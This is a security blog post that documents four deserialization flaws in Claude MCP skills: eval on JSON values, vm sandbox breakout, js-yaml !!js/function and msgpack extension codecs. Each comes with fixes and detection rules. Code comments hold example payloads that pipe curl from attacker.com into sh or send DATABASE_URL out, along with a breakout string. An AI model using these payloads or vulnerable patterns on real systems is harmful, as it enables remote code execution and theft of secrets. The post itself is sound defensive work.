← Blog

Claude skill deserialization of untrusted data — SA-SKL-DESERIALIZE

Deserialization vulnerabilities extend far beyond the well-known node-serialize vector. Claude MCP skills that evaluate JSON-derived values, run attacker-supplied strings in Node.js VM contexts, parse YAML from untrusted sources, or decode msgpack with custom Extension types are all subject to remote code execution through deserialization. SA-SKL-DESERIALIZE documents four patterns that security scanners and developers frequently miss.

By SkillAudit  |  6 Nov 2026

The common thread: trusting serialized format as a security boundary

All four SA-SKL-DESERIALIZE patterns share the same root cause: treating a serialization format (JSON, YAML, msgpack, or a VM script) as a safe container for untrusted data. JSON is not executable — but that protection disappears the moment a string value extracted from JSON is passed to eval() or new Function(). YAML is a superset of JSON that includes executable tags; using YAML.load() rather than YAML.safeLoad() (or the equivalent schema-restricted loader) hands the entire YAML tag system to the attacker. Node.js vm modules are frequently misunderstood as security sandboxes — they are not; the standard breakout via ({}).constructor.constructor('return process')() works in every vm context that exposes the global object. Msgpack custom Extension types trigger codec callbacks that can execute arbitrary code if the codec was registered without input validation.

MCP skills that accept configuration, scripts, templates, or binary blobs from tool call arguments are particularly at risk because the attack surface is exposed directly through the Claude Desktop client — and anything a user can say to Claude becomes a potential deserialization payload.

SA-SKL-DESERIALIZE in scope: DESERIALIZE-001 (eval on JSON.parse string value), DESERIALIZE-002 (vm.runInNewContext sandbox breakout), DESERIALIZE-003 (YAML.load !!js/function arbitrary code), DESERIALIZE-004 (msgpack custom Extension type RCE). Each pattern includes SkillAudit detection rules and correct fixes.

DESERIALIZE-001 — eval() on JSON.parse output string value

When a skill stores computed values or templates as serialized JSON — and later evaluates a string property from that JSON — an attacker who can write to the stored JSON can execute arbitrary code. The pattern appears in skills that use JSON as a configuration DSL (storing filter functions, template expressions, or computed field definitions as strings) and then evaluate those strings with eval() or new Function(value)() at runtime. The fix is to never execute string values from deserialized data. If computed expressions are required, use a sandboxed expression evaluator (such as expr-eval or mathjs) with a restricted operator set, and validate expression syntax against an AST allowlist before evaluation.

// VULNERABLE — string values from stored JSON config evaluated at runtime
export async function runAuditFilter(skillId: string, input: unknown) {
  const config = await db.query(
    'SELECT config_json FROM skills WHERE id = $1', [skillId]
  );
  const cfg = JSON.parse(config.rows[0].config_json);

  // cfg.filterExpression is a stored string — attacker who can update
  // config_json (e.g. via a SQL injection in another endpoint) sets it to:
  // "require('child_process').execSync('curl attacker.com | sh')"
  const filterFn = eval(`(input) => { return ${cfg.filterExpression}; }`);
  return filterFn(input);
}
// FIXED — use restricted expression evaluator, never eval string from data
import { Parser } from 'expr-eval';

const EXPR_PARSER = new Parser({
  operators: {
    // Allow only comparison and boolean operators
    comparison: true,
    logical: true,
    // Explicitly disable: in, assignment, pow (can be abused for complexity)
    in: false,
    assignment: false,
    pow: false,
  },
});

export async function runAuditFilter(skillId: string, input: Record<string, unknown>) {
  const config = await db.query(
    'SELECT config_json FROM skills WHERE id = $1', [skillId]
  );
  const cfg = JSON.parse(config.rows[0].config_json);

  // Parse and validate expression — throws if syntax is invalid
  const expr = EXPR_PARSER.parse(cfg.filterExpression);

  // Evaluate with explicit variable scope — no access to process or globals
  return expr.evaluate({ input });
}
CRITICAL
SA-SKL-DESERIALIZE-001 — String values extracted from JSON.parse output and passed to eval() or new Function() are remote code execution vectors for any attacker who can write to the stored JSON (via SQL injection, mass assignment, or insecure direct object reference); fix by using a sandboxed expression evaluator with an operator allowlist. Detection: SkillAudit flags eval( or new Function( calls where the argument includes a property access on a variable that traces to a JSON.parse output or a database row.

DESERIALIZE-002 — vm.runInNewContext() sandbox breakout

Node.js vm.runInNewContext(script, sandbox) is documented as not providing security isolation — the documentation explicitly states it is not a security boundary. Despite this, MCP skills frequently use it as a "lightweight sandbox" for evaluating user-supplied expressions or audit rule scripts. The standard breakout exploits the fact that every JavaScript object has a constructor property pointing to its constructor function, which itself has a constructor property pointing to Function. Calling ({}).constructor.constructor('return process')() inside the vm context returns the Node.js process global, giving the attacker full access to process.env, process.mainModule.require, and child process spawning. The only real fix is to avoid running untrusted code at all — if a rules DSL is required, use a purpose-built restricted evaluator, not vm.

// VULNERABLE — vm.runInNewContext used as a "sandbox" for user-supplied rules
import vm from 'vm';

export async function evaluateAuditRule(ruleScript: string, context: object) {
  // Developer believes vm.runInNewContext isolates the script
  // Attacker sends ruleScript:
  // "const p = ({}).constructor.constructor('return process')(); p.mainModule.require('child_process').execSync('curl attacker.com/steal?d=' + p.env.DATABASE_URL)"
  const result = vm.runInNewContext(ruleScript, { ...context }, { timeout: 1000 });
  return result;
}
// FIXED — use isolated-vm (Rust-backed V8 isolate) or block entirely
// Option A: use isolated-vm for hard isolation with no Node API exposure
import ivm from 'isolated-vm';

export async function evaluateAuditRule(ruleScript: string, context: Record<string, unknown>) {
  const isolate = new ivm.Isolate({ memoryLimit: 32 }); // 32 MB memory cap
  const vmContext = await isolate.createContext();

  // Inject only the specific context values needed — not the full object
  const jail = vmContext.global;
  for (const [key, value] of Object.entries(context)) {
    // Only pass primitives — no objects with constructor chains
    if (typeof value === 'string' || typeof value === 'number' || typeof value === 'boolean') {
      await jail.set(key, value);
    }
  }

  const script = await isolate.compileScript(ruleScript);
  const result = await script.run(vmContext, { timeout: 500 }); // 500ms timeout
  isolate.dispose();
  return result;
}

// Option B: use a pure-JS expression evaluator with no code execution
// (see DESERIALIZE-001 fix using expr-eval)
CRITICAL
SA-SKL-DESERIALIZE-002 — vm.runInNewContext() and vm.Script.runInNewContext() are not security sandboxes — the standard breakout ({}).constructor.constructor('return process')() returns the Node.js process from inside any vm context; fix by using isolated-vm (a Rust-backed V8 isolate) for genuine isolation, or by eliminating code execution entirely in favour of a restricted expression evaluator. Detection: SkillAudit flags any use of vm.runInNewContext, vm.runInContext, or new vm.Script(userInput) where userInput traces to a tool call argument, database value, or HTTP request parameter.

DESERIALIZE-003 — YAML.load() without safe schema executes !!js/function tags

The js-yaml library's load() function (the default export in versions before 4.0) uses the DEFAULT_FULL_SCHEMA which includes the !!js/function, !!js/regexp, and !!js/undefined tags. An attacker who can supply YAML input can craft a payload like fn: !!js/function 'function(){ return require("child_process").execSync("id").toString() }' that executes arbitrary Node.js code when the YAML is loaded. This affects skills that accept YAML configuration from users, that read YAML files from user-uploaded content, or that parse YAML from API payloads. The fix for js-yaml 4.x is to use yaml.load(input, { schema: FAILSAFE_SCHEMA }) or yaml.load(input, { schema: JSON_SCHEMA }). For js-yaml 3.x, replace all calls to yaml.load() with yaml.safeLoad().

// VULNERABLE — yaml.load() with DEFAULT_FULL_SCHEMA (js-yaml <4.0 default)
import yaml from 'js-yaml';

export async function importSkillConfig(yamlInput: string) {
  // Attacker supplies:
  // config:
  //   name: "my-skill"
  //   transform: !!js/function |
  //     function() {
  //       return require('child_process').execSync('curl attacker.com | sh').toString();
  //     }
  const config = yaml.load(yamlInput); // Executes the !!js/function on load
  return config;
}
// FIXED — use FAILSAFE_SCHEMA or JSON_SCHEMA to disable executable tags
import yaml from 'js-yaml';

export async function importSkillConfig(yamlInput: string) {
  let config: unknown;
  try {
    // FAILSAFE_SCHEMA: only strings, sequences, and mappings — no JS tags
    config = yaml.load(yamlInput, { schema: yaml.FAILSAFE_SCHEMA });
  } catch (err) {
    throw new Error(`YAML parse error: ${(err as Error).message}`);
  }

  // Validate against expected schema after parsing
  if (typeof config !== 'object' || config === null) {
    throw new Error('YAML config must be a mapping at root level');
  }
  return config;
}

// For js-yaml 3.x:
// Replace yaml.load(input) with yaml.safeLoad(input)
// safeLoad() uses DEFAULT_SAFE_SCHEMA which excludes !!js/* tags
CRITICAL
SA-SKL-DESERIALIZE-003 — js-yaml load() with the default or DEFAULT_FULL_SCHEMA executes !!js/function, !!js/regexp, and !!js/undefined YAML tags, allowing arbitrary code execution when parsing attacker-controlled YAML; fix by passing { schema: yaml.FAILSAFE_SCHEMA } in js-yaml 4.x or by replacing yaml.load() with yaml.safeLoad() in 3.x. Detection: SkillAudit flags yaml.load(input) calls where input is not a hardcoded string literal and no schema option restricts the tag set.

DESERIALIZE-004 — Msgpack custom Extension type triggers codec RCE on decode

Msgpack-node and compatible msgpack libraries support Extension types (ext types) — a mechanism for encoding custom data types as byte sequences with a type ID. When a codec is registered for an Extension type, the library calls the codec's decode function with the raw byte buffer whenever it encounters that type ID during deserialization. If the decode function performs unsafe operations — such as parsing the buffer as JSON and then calling eval(), constructing a Function from the payload, or passing the buffer to a deserializer for a more dangerous format — an attacker can craft a msgpack message with that Extension type ID and trigger the unsafe operation. The fix is to validate Extension type payloads against an expected format (usually a fixed-length binary struct or a schema-validated JSON payload) before passing them to any further processing, and to audit all registered codec functions for unsafe operations.

// VULNERABLE — msgpack Extension type codec deserializes payload as eval-able code
import { Codec, encode, decode } from 'msgpack-lite';

const codec = Codec.commonCodec;

// Extension type 100 registered to handle "audit expression" objects
codec.addExtPacker(100, Object, (obj) => Buffer.from(JSON.stringify(obj)));
codec.addExtUnpacker(100, (buffer) => {
  const str = buffer.toString('utf8');
  // Attacker crafts buffer containing: {"expr": "process.exit(1)"}
  // Developer intended to eval the expression — RCE via crafted msgpack
  const data = JSON.parse(str);
  return eval(data.expr);  // Direct code execution on decode
});

// Any msgpack message with ext type 100 triggers eval
const malicious = encode({ type: 100, data: '{"expr":"require(\'child_process\').execSync(\'id\')"}' });
// FIXED — validate Extension payload structure; never execute payload data
import { Codec } from 'msgpack-lite';
import Ajv from 'ajv';

const exprSchema = {
  type: 'object',
  properties: {
    op: { type: 'string', enum: ['eq', 'gt', 'lt', 'contains', 'startsWith'] },
    field: { type: 'string', maxLength: 100, pattern: '^[a-zA-Z0-9_.]+$' },
    value: { type: ['string', 'number', 'boolean'] },
  },
  required: ['op', 'field', 'value'],
  additionalProperties: false,
};
const validateExpr = new Ajv().compile(exprSchema);

const codec = Codec.commonCodec;

codec.addExtUnpacker(100, (buffer) => {
  let data: unknown;
  try {
    data = JSON.parse(buffer.toString('utf8'));
  } catch {
    throw new Error('Extension type 100: invalid JSON payload');
  }

  // Validate structure — rejects any payload that doesn't match the schema
  if (!validateExpr(data)) {
    throw new Error('Extension type 100: schema validation failed');
  }

  // Return validated data — evaluated by a safe comparator, not eval()
  return data; // Caller uses a switch on data.op to perform the comparison
});
CRITICAL
SA-SKL-DESERIALIZE-004 — Msgpack Extension type codec functions that evaluate, deserialize, or execute the raw payload buffer are remote code execution vectors for any attacker who can send a crafted msgpack message; fix by validating Extension payloads against a strict schema using additionalProperties: false before processing, and by never calling eval(), new Function(), or a secondary unsafe deserializer from within a codec. Detection: SkillAudit flags msgpack addExtUnpacker callbacks that contain calls to eval(, new Function(, vm.runIn, yaml.load(, or node-serialize with the codec's buffer argument as input.